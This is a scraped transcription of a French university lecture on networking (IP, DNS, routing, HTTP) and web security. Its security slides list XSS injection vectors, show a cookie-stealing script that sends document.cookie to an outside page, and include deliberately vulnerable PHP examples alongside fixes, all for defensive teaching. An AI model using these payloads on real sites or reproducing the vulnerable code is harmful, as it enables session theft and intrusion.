La présentation est en train de télécharger. S'il vous plaît, attendez

La présentation est en train de télécharger. S'il vous plaît, attendez

Cours réseau Julien Bourgeois Année Spéciale SRC

Présentations similaires


Présentation au sujet: "Cours réseau Julien Bourgeois Année Spéciale SRC"— Transcription de la présentation:

1 Cours réseau Julien Bourgeois Année Spéciale SRC
IUT Belfort-Montbéliard Bureau recherche Numérica Bureau Enseignement Département R&T Certains transparents de Didier Donsez sur HTTP

2 [Biblio/webo]graphie
www-adele.imag.fr/users/Didier.Donsez/cours/http.pdf

3 Objectifs Votre métier repose sur les technologies réseau
Donner une idée des technologies réseau pour : Avoir un socle commun pour dialoguer avec les autres Comprendre un minimum ce qui se passe au niveau physique Etre capable de se débrouiller pour certaines opérations (Serveur web, DNS, serveur FTP, etc.)

4 Objectifs (1)

5 ? Objectifs (2) Que veut-elle comme service ? www.google.com
Où trouver ? ? Que faut-il lui envoyer ?

6 ? Objectifs (2) Que veut-elle comme service ? www.google.com
Où trouver ? ? Que faut-il lui envoyer ?

7 Où trouver www.google.com ?
Internet Contient des liaisons WAN (Wide area networks) Le LAN (Local Area Network) ou réseau local

8 ( L’adressage IP Toute machine connectée à internet a une adresse IP (Internet Protocol) C’est une adresse composée de 4 chiffres (0-255) séparés par des points Par exemple : Serveur web SRC, Serveur web pôle, Serveur R&T,

9 L’adressage IP (2) Adresse réseau 194 .57 .85 .209 194 .57 .85 .210
Adresse réseau Adresse machine

10 Masque de sous-réseau Comment différencier l’@ réseau de l’@ machine ?
A est associé un masque de sous-réseau (netmask) seule ne suffit donc pas ! Le netmask sert à éliminer machine de IP

11 Masque de sous-réseau (2)
Ces trois adresses ont le même netmask Adresse réseau Adresse machine

12 Masque de sous-réseau (3)
On obtient que réseau, mais à quoi ça sert ? & &

13 Classes d’adresses IP Classe Début Fin Notation CIDR Netmask associé
Classe A      /8 Classe B /16 Classe C /24

14 Classes d’adresses IP (2)
Nombre de réseaux Nombre d’adresses par réseau Classe A     128     16,777,214 Classe B     16,384     65,534 Classe C     2,097,152     254

15 Où trouver www.google.com ?
Internet Contient des liaisons WAN (Wide area networks) @IP Le LAN (Local Area Network) ou réseau local @IP

16 Où trouver www.google.com ?
On sait que : Les réseaux sont structurés en LAN/WAN Chaque appareil connecté à internet possède une adresse IP et un netmask Problème : n’est pas une adresse IP…

17 ( Le DNS Domain Name System
Protocole de communication Ensemble de serveurs Permet de faire la conversion entre un nom alphabétique et une adresse IP Important notamment quand on créé son site web car on doit référencer son adresse auprès des DNS !

18 Le DNS (2) Host (linux) ou nslookup (windows) affichent la correspondance Démarrer -> Exécuter -> cmd, puis : C:/>nslookup Serveur : tharradin.pu-pm.univ-fcomte.fr Address: Réponse ne faisant pas autorité : Nom : Addresses: , , Aliases: @IP

19 Le DNS (2) L'inverse est aussi possible… … et on l’appelle reverse DNS
C:/>nslookup Serveur : tharradin.pu-pm.univ-fcomte.fr Address: Nom : nf-in-f147.google.com Address: L'inverse est aussi possible… … et on l’appelle reverse DNS

20 Le DNS, format des noms Au début de l'Internet : espace à plat (fichier HOSTS.TXT) taille énorme conflits de noms Actuellement : espace hiérarchique Format des noms : (x1.x2...xN).y.z Avec au minimum 2 mots, et <63 carac. Exemple : google.com, pu-pm.univ-fcomte.fr non sensible à la casse (case insensitive)

21 Le DNS, format des noms (2)
Format des noms : (x1.x2...xN).y.z Valeurs de z : com, org, net, gov, eu, ... : international fr, ro, es, uk, de, ... : par pays vous pouvez donner un nom en .ro à votre site alors qu'il est hébergé en Suisse (et que vous habitez en France) !

22 … Le DNS, les registrars gTLD : Generic Top Level Domain
Noms gTLD ICANN ccTLD Autorité nationale Registrar (joker.com) Registrar (gandi.net) Registrar (fc-net.fr) gTLD : Generic Top Level Domain ccTLD : Country Code Top Level Domain

23 Le DNS, les registrars Noms gTLD ICANN ccTLD Autorité nationale Registrar (joker.com) Registrar (gandi.net) Registrar (fc-net.fr) Internet Corporation for Assigned Names and Numbers (ICANN) pour les gTLD AFNIC pour les domaines .fr et .re

24 ) Le DNS, les registrars Source www.webhosting.info Rank Registrar
Market Share Total Domains 1 GO DADDY 20.871% 18,559,935 2 ENOM 8.455% 7,518,947 3 NETWORK SOLUTIONS 7.458% 6,631,901 4 TUCOWS 6.563% 5,836,391 5 MELBOURNE IT 5.119% 4,551,823 6 SCHLUND+PARTNER 3.856% 3,428,759 7 REGISTER.COM 3.021% 2,686,328 8 WILD WEST DOMAINS 2.732% 2,429,031 9 MONIKER 2.501% 2,223,701 10 PUBLIC DOMAIN REGISTRY 1.930% 1,716,135 11 DOMAINDOORMAN.COM 1.679% 1,492,807 12 BELGIUMDOMAINS.COM 1.669% 1,484,046 13 CAPITOLDOMAINS.COM 1.660% 1,475,874 14 DIRECTNIC 1.439% 1,279,830 15 KEY-SYSTEMS 1.343% 1,194,699 Source

25 Où trouver www.google.com ?
Internet Contient des liaisons WAN (Wide area networks) @IP = Le LAN (Local Area Network) ou réseau local @IP

26 Où trouver www.google.com ?
On sait que : Les réseaux sont structurés en LAN/WAN Chaque appareil connecté à internet possède une adresse IP et un netmask L’adresse IP de s’obtient en interrogeant le DNS Problème : Où trouver l’adresse sur internet ?

27 Où trouver 64.233.183.99 ? Adresse LAN ou WAN ? C:\>netstat -r
Table de routage =========================================================================== Liste d'Interfaces 0x MS TCP Loopback interface 0x a 5d Broadcom 440x 10/100 Integrated Controller 0x a 09 f Intel(R) PRO/Wireless 3945ABG Network Connection Itinéraires actifs : Destination réseau Masque réseau Adr. passerelle Adr. interface Métrique Passerelle par défaut :

28 Où trouver 64.233.183.99 ? Adresse LAN ou WAN ?
C:\>netstat -r Table de routage =========================================================================== Liste d'Interfaces 0x MS TCP Loopback interface 0x a 5d Broadcom 440x 10/100 Integrated Controller 0x a 09 f Intel(R) PRO/Wireless 3945ABG Network Connection Itinéraires actifs : Destination réseau Masque réseau Adr. passerelle Adr. interface Métrique Passerelle par défaut : Pour y arriver je dois passer par… Si je veux aller là… La prochaine étape est…

29 Où trouver 64.233.183.99 ? Adresse LAN ou WAN ?
C:\>netstat -r Table de routage =========================================================================== Liste d'Interfaces 0x MS TCP Loopback interface 0x a 5d Broadcom 440x 10/100 Integrated Controller 0x a 09 f Intel(R) PRO/Wireless 3945ABG Network Connection Itinéraires actifs : Destination réseau Masque réseau Adr. passerelle Adr. interface Métrique Passerelle par défaut : Pour y arriver je dois passer par mon loopback Si je veux aller sur ma machine La prochaine étape est mon loopback

30 Où trouver 64.233.183.99 ? Adresse LAN ou WAN ?
C:\>netstat -r Table de routage =========================================================================== Liste d'Interfaces 0x MS TCP Loopback interface 0x a 5d Broadcom 440x 10/100 Integrated Controller 0x a 09 f Intel(R) PRO/Wireless 3945ABG Network Connection Itinéraires actifs : Destination réseau Masque réseau Adr. passerelle Adr. interface Métrique Passerelle par défaut : Pour y arriver je dois passer par mon interface WiFi Si je veux aller sur mon LAN La prochaine étape est mon routeur interne

31 Où trouver 64.233.183.99 ? Adresse LAN ou WAN ?
C:\>netstat -r Table de routage =========================================================================== Liste d'Interfaces 0x MS TCP Loopback interface 0x a 5d Broadcom 440x 10/100 Integrated Controller 0x a 09 f Intel(R) PRO/Wireless 3945ABG Network Connection Itinéraires actifs : Destination réseau Masque réseau Adr. passerelle Adr. interface Métrique Passerelle par défaut : Pour y arriver je dois passer par mon interface WiFi Si je veux aller n’importe où ailleurs La prochaine étape est mon routeur externe

32 C’est le sens de la passerelle par défaut !
Où trouver ? Adresse LAN ou WAN ? C:\>netstat -r Table de routage =========================================================================== Liste d'Interfaces 0x MS TCP Loopback interface 0x a 5d Broadcom 440x 10/100 Integrated Controller 0x a 09 f Intel(R) PRO/Wireless 3945ABG Network Connection Itinéraires actifs : Destination réseau Masque réseau Adr. passerelle Adr. interface Métrique Passerelle par défaut : C’est le sens de la passerelle par défaut !

33 Où trouver www.google.com ?
On sait que : Les réseaux sont structurés en LAN/WAN Chaque appareil connecté à internet possède une adresse IP et un netmask L’adresse IP de s’obtient en interrogeant le DNS L’adresse n’est pas sur notre LAN Problème : Comment trouver son chemin sur internet ?

34 Où trouver www.google.com ?
Internet Contient des liaisons WAN (Wide area networks) @IP = Envoi à @IP

35 Où trouver www.google.com ?
@IP = Routeurs

36 Où trouver www.google.com ?
@IP = @IP ?

37 Routage SRC 26 routeurs Google Source : VisualRoute

38 Où trouver www.google.com ?
@IP = Routage dynamique @IP ?

39 Les couches ISO Codage et décodage du signal
Application Couche 1 : Interfacage avec le support physique Présentation Session Codage et décodage du signal Gestion début et fin des trames Conversion données en signaux Transport Réseau Liaison Physique

40 Les couches ISO Appareil réseau : Concentrateur (Hub)
Application Couche 1 : Interfacage avec le support physique Présentation Session Appareil réseau : Concentrateur (Hub) Renvoie à tous le monde tous les paquets Topologie physique en étoile, topologie logique en bus Transport Réseau Liaison Physique

41 Les couches ISO Medium Access Control
Application Couche 2 : sous-couche MAC Présentation Medium Access Control Conversion des données en trames adaptées au support Gestion des adresses physiques (adresses MAC) Session Transport Réseau MAC Liaison LLC Physique

42 Les couches ISO Medium Access Control
Application Couche 2 : sous-couche MAC Présentation Medium Access Control Conversion des données en trames adaptées au support Gestion des adresses physiques (adresses MAC) Session Transport Réseau MAC Liaison LLC Physique

43 Les couches ISO Appareil réseau : commutateur (switch)
Application Couche 2 : sous-couche LLC Présentation Appareil réseau : commutateur (switch) Utilise les adresses MAC pour router les paquets Session Transport Réseau MAC Liaison LLC Physique

44 Les couches ISO IP (Internet Protocol) Adresse unique pour une machine
Application Couche 3 : Adressage, nommage et routage Présentation IP (Internet Protocol) Adresse unique pour une machine Conversion physique/logique Routage, choix de la destination des paquets Session Transport Réseau Liaison Physique

45 Les couches ISO Appareil réseau : routeur Utilise les adresses réseaux
Application Couche 3 : Adressage, nommage et routage Présentation Appareil réseau : routeur Utilise les adresses réseaux Utilise des protocoles de routage (RIP, OSPF, BGP, etc.) Session Transport Réseau Liaison Physique

46 Les couches ISO TCP (Transport Control Protocol)
Application Couche 4 : Transport TCP (Transport Control Protocol) Reséquencement des paquets Etablissement, maintien et fermeture des liaisons Contrôle de flux et d'erreur UDP (User Datagram Protocol) Mode non-connecté Pas de contrôle de flux, etc. Présentation Session Transport Réseau Liaison Physique

47 Sur un LAN de Google Plusieurs centaines de milliers de serveurs
Choix du serveur par un load-balancer

48 ( Culture web Qui est le leader des serveurs web ?
Apache Quelle est sa part de marché en 2007 ? 57% D’où vient son nom ? A patchy serveur

49 Les serveurs web

50 A patchy server (Apache)
Modularité Fiabilité égale aux produits commerciaux (0.53 erreur par 100 lignes de code) Open source (tuning possible) Multi plate-formes Mauvais départ de IIS principal concurrent Performances

51 ) Apache : Les modules httpd_core mod_access mod_auth mod_dir
mod_log_config mod_mime

52 Comment communiquer ? ? @IP

53 Comment communiquer ? On sait comment trouver le serveur web
On peut lui envoyer des informations Mais comment lui demander une page web ?

54 HTTP HyperText Transfer Protocol
Protocole basé sur des messages en texte Facilement compréhensible Permet de dialoguer avec un serveur web Stable et éprouvé Historique : HTTP/0.9 : T. Berners-Lee, 1991 RFC 1945 : HTTP/1.0. T. Berners-Lee, R. Fielding, H. Frystyk. 6/1996. RFC 2068 : HTTP/1.1. R. Fielding, J. Gettys, J. Mogul, H. Frystyk, T. Berners-Lee. 1/1997. RFC 2616 : HTTP/1.1. R. Fielding, J. Gettys, J. Mogul, H. Frystyk, L. Masinter, P. Leach, T Berners-Lee. 6/1999. RFC 2817 : Upgrading to TLS Within HTTP/1.1. R. Khare, S. Lawrence. May 2000. RFC 2616bis : HTTP/1.1, 1/2008

55 HTTP N’importe quel outil réseau peut dialoguer en HTTP
Netcat, telnet, … Il suffit de connaître les commandes HTTP … et de savoir déchiffrer les réponses du serveur

56 HTTP : Exemple avec netcat
Commande netcat à taper C:\>nc -v [ ] 80 (http) open GET / HTTP/1.1 Host: HTTP/ OK Date: Tue, 28 Aug :12:33 GMT Server: Apache Last-Modified: Tue, 28 Aug :12:41 GMT ETag: W/"248d6-e6ad-46d3e0cf" Accept-Ranges: bytes Content-Length: Connection: close Content-Type: text/html; charset=iso X-Pad: avoid browser bug <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html><head><title>Bienvenue sur Free :)</title> … </body></html> Réponse de netcat Commande HTTP à taper Tapez 2x entrée pour envoyer la commande Réponse au format HTTP de suivi du code HTML de la page demandée

57 HTTP : Les commandes GET GET ou POST PUT, DELETE, LINK, UNLINK HEAD
Récupération d ’un document GET ou POST Soumission d ’un formulaire PUT, DELETE, LINK, UNLINK Envoi de Document et Gestion de Site HEAD Récupération des informations sur le document

58 HTTP : Les commandes (2) OPTIONS TRACE CONNECT
Demande des options de communication disponibles TRACE Retourne le corps de la requête intacte (déboguage) CONNECT

59 Format de requête Du client vers le serveur
<Méthode> <URI> HTTP/<Version> [<Champ d ’entête>: <Valeur>] [<tab><Suite Valeur si >1024>] ligne blanche [corps de la requête pour la méthode POST] Exemple GET / HTTP/1.1 Host: Ligne blanche (tapez 2x entrée)

60 Format de la réponse Du serveur vers le client Exemple
HTTP/<Version> <Status> <Commentaire Status> Content-Type: <Type MIME du contenu> [< Champ d ’entête >: <Valeur>] [<tab><Suite Valeur si >1024>] Ligne blanche Document Exemple HTTP/ OK Content-Type: text/html; charset=iso <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html><head><title>Bienvenue sur Free :)</title> </body></html>

61 Statuts des réponses HTTP
Informationnel 100 : Continue (le client peut envoyer la suite de la requête), ... Succès de la requête client 200: OK, 201: Created, 204 : No Content, ... Redirection de la Requête client 301: Redirection, 302: Found, 304: Not Modified, 305 : Use Proxy, ... Requête client incomplète 400: Bad Request, 401: Unauthorized, 403: Forbidden, 404: Not Found Erreur Serveur 500: Server Error, 501: Not Implemented, 502: Bad Gateway, 503: Out Of Resources (Service Unavailable)

62 Place du serveur web Internet Internet DMZ
Routeur avec filtrage niveau 3 et 4 Firewall avec filtrage applicatif Authentification Filtrage sélectif Détection des intrusions DMZ FTP IDS HTTP AAA

63 Sécurisation d’Apache
Cacher des informations ServerTokens Prod ServerSignature Off Redéfinir une page 404 C’est la base mais la plupart des serveurs ne le font pas !!!!

64 Sécurisation d’Apache
Accès aux répertoires <directory /> order deny,allow deny from all </directory> <directory «/chroot/www/»/> order allow,deny allow from all

65 Sécurisation d’Apache
Exécuter apache avec les bons droits Création d’un groupe et d’un utilisateur apache But : Empêcher (ou retarder…) la propagation d’un exploit

66 Sécurisation d’Apache : chroot
Commande Unix : change root Exécute une commande avec un répertoire racine spécifique But : Emprisonner un programme dans son arborescence

67 chroot : les étapes (à la main)
Création d’une arborescence Vérification des dépendances (ldd) Recopie des librairies Recopie des fichiers de configs et spéciaux

68 chroot : les étapes (automatisées)
Utilisation de debootstrap Permet d’installer une debian de base Evite les recopies fastidueuses Mais prend plus de place !

69 Valider les entrées On se place dans le cas d’utilisateurs ou de programmes mal intentionnés Technique du cheval de Troie Entrée camouflée Lors de l’exécution, prise de contrôle de l’application (affichage d’informations confidentielles, exécution de scripts, …)

70 Valider les entrées Niveau administration des services
Bloquer certaines fonctionnalités Imposer des limites (CPU, mémoire, etc.) Linux PAM : Pluggable Authentication Modules Niveau programmation Filtrage des entrées

71 Valider les entrées Les noms de fichier
Empêcher le changement de répertoire Interdire /, .. ou ~ Empêcher la divulgation d’informations Interdire le globbing (*, ?, [], {}) (ex: ftp) Ex : ftp> ls *../*/../*../ Filtrer les noms de fichiers --, caractères de controle, espace, encodage exotique, <, “, etc.

72 Valider les entrées HTML
Cause majeure de trou de sécurité Possibilité d’HTML sont énormes : Cross-site scripting Javascript … tout autre langage (flash, java, …) Dans les pages HTML, mais surtout dans les mails (pas de sandbox) ! L’utilisateur charge une page sans connaitre son contenu !

73 Valider les entrées HTML
Filtrer les caractères de contrôles des pages HTML Définir une liste de balises sûres… <p>, <b>, <i>, <em>, <strong>, <pre>, <br> … et éliminer les autres <script>, <applet>, <embed>, <bgsound>, …

74 Valider les entrées HTML
Eliminer de manière intelligente : <script> </comment> <!-- --> --> Ou <_a<script> <<script>

75 Valider les entrées HTML
<a href="javascript#[code]"> <div onmouseover="[code]"> <img src="javascript:[code]"> <img dynsrc="javascript:[code]"> [IE] <input type="image" dynsrc="javascript:[code]"> [IE] <bgsound src="javascript:[code]"> [IE] &<script>[code]</script> &{[code]}; [N4] <img src=&{[code]};> [N4] <link rel="stylesheet" href="javascript:[code]"> <iframe src="vbscript:[code]"> [IE] <img src="mocha:[code]"> [N4] <img src="livescript:[code]"> [N4] <a href="about:<script>[code]</script>"> <meta http−equiv="refresh" content="0;url=javascript:[code]"> <body onload="[code]">

76 Valider les entrées HTML
<div style="background−image: url(javascript:[code]);"> <div style="behaviour: url([link to code]);"> [IE] <div style="binding: url([link to code]);"> [Mozilla] <div style="width: expression([code]);"> [IE] <style type="text/javascript">[code]</style> [N4] <object classid="clsid:..." codebase="javascript:[code]"> [IE] <style><!−−</style><script>[code]//−−></script> <!−− −− −−><script>[code]</script><!−− −− −−> <<script>[code]</script> <img src="blah"onmouseover="[code]"> <img src="blah>" onmouseover="[code]"> <xml src="javascript:[code]"> <xml id="X"><a><b><script>[code]</script>;</b></a></xml> <div datafld="b" dataformatas="html" datasrc="#X"></div> [\xC0][\xBC]script>[code][\xC0][\xBC]/script> [UTF−8; IE, Opera] <![CDATA[<!−−]] ><script>[code]//−−></script>

77 Valider les entrées : HTML
Htmlfilter Programme PHP de filtrage

78 Valider les entrées URL : Un lien est-il sûr ?
Phishing (Hameçonnage) Amener l’internaute sur un site web usurpé Soutirer des informations confidentielles En France Fin 2004, condamnation d’un étudiant (1 an de prison et 8500 € d’amende) 40 sites de phishing en France Voir

79 Valider les entrées URL
Un lien est-il sûr ? URI scheme://authority[path][?query][#fragment] Authority :

80 Valider les entrées URL
Exemple : om Interdire les user/password Limiter l’usage de ports exotiques Comme pour HTML, mise en place de filtres !

81 Buffer overflow Dépassement de tampon
Buffer : espace mémoire alloué pour des besoins temporaires Espace mémoire = taille finie Dépassement de cette taille peut permettre de prendre le contrôle de l’application

82 Buffer overflow Risques réels :
Netscape 4 : prise de contrôle à distance Windows NT : longueur des mots de passe Internet Explorer : redirection vers des pages non demandées (distribution de virus, vers, backdoor, etc.)

83 Buffer overflow Pose problème surtout en C/C++
Peu de problèmes en Java Si programmation en C/C++ : Utilisation de librairies spécifiques (libsafe) Utilisation d’outils de compilation spécifiques (StackGuard, ProPolice)

84 Cross-site scripting (XSS)
Génération de code HTML à partir d’entrées utilisateur Exemples : Guestbook Commentaires de sites Etc.

85 Cross-site scripting (XSS)
Un attaquant envoie du code malveillant sur site web Le site web publie ce code Ce code est lu par la victime qui croit être sur un site “sûr” Problème de confiance !

86 Cross-site scripting (XSS)
Source : Chris Shiflett,

87 Cross-site scripting (XSS)
Exemple : Vol de cookie <script> document.location = ' cookies.php' + '?cookies=' + document.cookie </script>

88 Cross-site scripting (XSS)
Exemple : Mais qu’est-ce que ça fait ? <form action="<? echo $PHP_SELF; ?>"> <input type="text" name="message"> <input type="submit"> </form> <? if (!empty($_GET['message'])) {     $fp = fopen('./messages.txt', 'a');     fwrite($fp, "{$_GET['message']}<br>");     fclose($fp); } readfile('./messages.txt'); ?>

89 Cross-site scripting (XSS)
Solutions : Filtrer les entrées d’un site Conversion de caractères Appliquer la règle de base de la sécurité : “Tout ce qui n’est pas autorisé est interdit.” Interdire les messages board ? :-)

90 Cross-site scripting (XSS)
htmlentities() : Convertit tous les caractères éligibles en entités HTML strip_tags() : Supprime les balises HTML et PHP d'une chaîne utf8_decode() : Convertit une chaîne UTF-8 en ISO-8859

91 Cross-site scripting (XSS)
<form action="<? echo $PHP_SELF; ?>"> <input type="text" name="message"> <input type="submit"> </form> <? if (!empty($_GET['message'])) {     $fp = fopen('./safer.txt', 'a');     $msg = htmlentities($_GET['message']);     fwrite($fp, "$msg<br>");     fclose($fp); } readfile('./safer.txt'); ?>

92 Java Langage relativement sûr de base
Sécurité en Java repose essentiellement sur les questions d’héritage

93 Java Enfonçons quelques portes ouvertes ensemble :
Pas de variables en public -> private Pas de méthodes en public -> private pour empêcher la réception de données malveillantes Classes et méthodes doivent être terminales (final)

94 Java Encore : Classes non sérialisables Classes non désérialisables
private final void writeObject(ObjectOutputStream out) throws java.io.IOException { throw new java.io.IOException("Object cannot be serialized"); } Classes non désérialisables private final void readObject(ObjectInputStream in) throw new java.io.IOException("Class cannot be deserialized");

95 PHP Mauvaise image au niveau sécurité
Provient principalement de raisons historiques plus ou moins anciennes Au début (avant 4.1) pas beaucoup de préoccupations sécuritaires PHP est jeune -> 1995 PHP a été créé de manière anarchique

96 PHP et les variables Problèmes dans la gestion des variables
Partage du même espace de nommage de toutes les variables Initialisation par défaut Possibilité de contrôler (lecture et écriture) la valeur de toutes les variables

97 PHP et les variables Exemple : <?php if ($pass == "hello")
$auth = 1; ... ... <- Modification de $auth par un attaquant ! if ($auth == 1) echo "some important information"; ?>

98 PHP et les variables Solution : Utiliser au moins PHP 4.1.0
register_globals Off

99 PHP mutualisé PHP mutualisé (fournisseur d’accès)
Apache en serveur web Différents utilisateurs, différents scripts, mêmes droits ! + simple est d’utiliser le safe mode

100 PHP mutualisé : Safe mode [1]
Quand appel à fopen() : Vérification du propriétaire du script Correspondance propriétaire du fichier Commandes limitées safe_mode_exec_dir Variables environnement safe_mode_allowed_env_vars

101 PHP mutualisé : Safe mode [2]
Modification des variables d’environnement safe_mode_protected_env_vars putenv() modifie uniquement les variables PHP_ Fonctions interdites disable_functions (dl, symlink, virtual, etc.)

102 PHP mutualisé Safe mode : résumé
Nom Par défaut Modifiable safe_mode "0" PHP_INI_SYSTEM safe_mode_gid safe_mode_include_dir NULL safe_mode_exec_dir "" safe_mode_allowed_env_vars PHP_ safe_mode_protected_env_vars LD_LIBRARY_PATH open_basedir disable_functions disable_classes “”

103 PHP mutualisé Détourner le safe mode
Lister l’arborescence des fichiers Fixer un open_basedir

104 PHP mutualisé : suPHP suPHP
Module apache (mod_suphp) Exécutable (suPHP) Permet d’exécuter les scripts PHP avec les droits de l’utilisateur

105 PHP mutualisé : suPHP Plus besoin du safe mode, donc plus de restrictions au niveau du PHP suPHP doit avoir les droits root…

106 PHP mutualisé : autre méthode
Supprimer l’utilisation de certaines commandes dans php.ini avec disable_functions Limiter les droits sur le système de fichier (noexec)

107 https : Sécurisation d’http
http est basé sur des échanges de messages texte en clair Problème lors de l’échange de données sensibles Carte de crédit Mots de passe

108 https : Sécurisation d’http
Utilisation d’un port séparé : 443 Cryptage de tous les échanges avec SSL Utilisation d’une clé de 128bits Proposé par Netscape, en 1996 tentative de contre par Microsoft et STT

109 https : Sécurisation d’http
Installation : Apache Mod_ssl Openssl … et ça marche ! Voir

110 Problème subsidiaire Comment est-ce qu’on connait l’hôte que l’on doit contacter ? Par exemple, dedu.com et bourgeois.com sont hébergés chez Ouvaton Comment est-ce qu’ouvaton affiche la bonne page ? Réponse : dans l’entête HTTP et on passe par des hotes virtuels


Télécharger ppt "Cours réseau Julien Bourgeois Année Spéciale SRC"

Présentations similaires


Annonces Google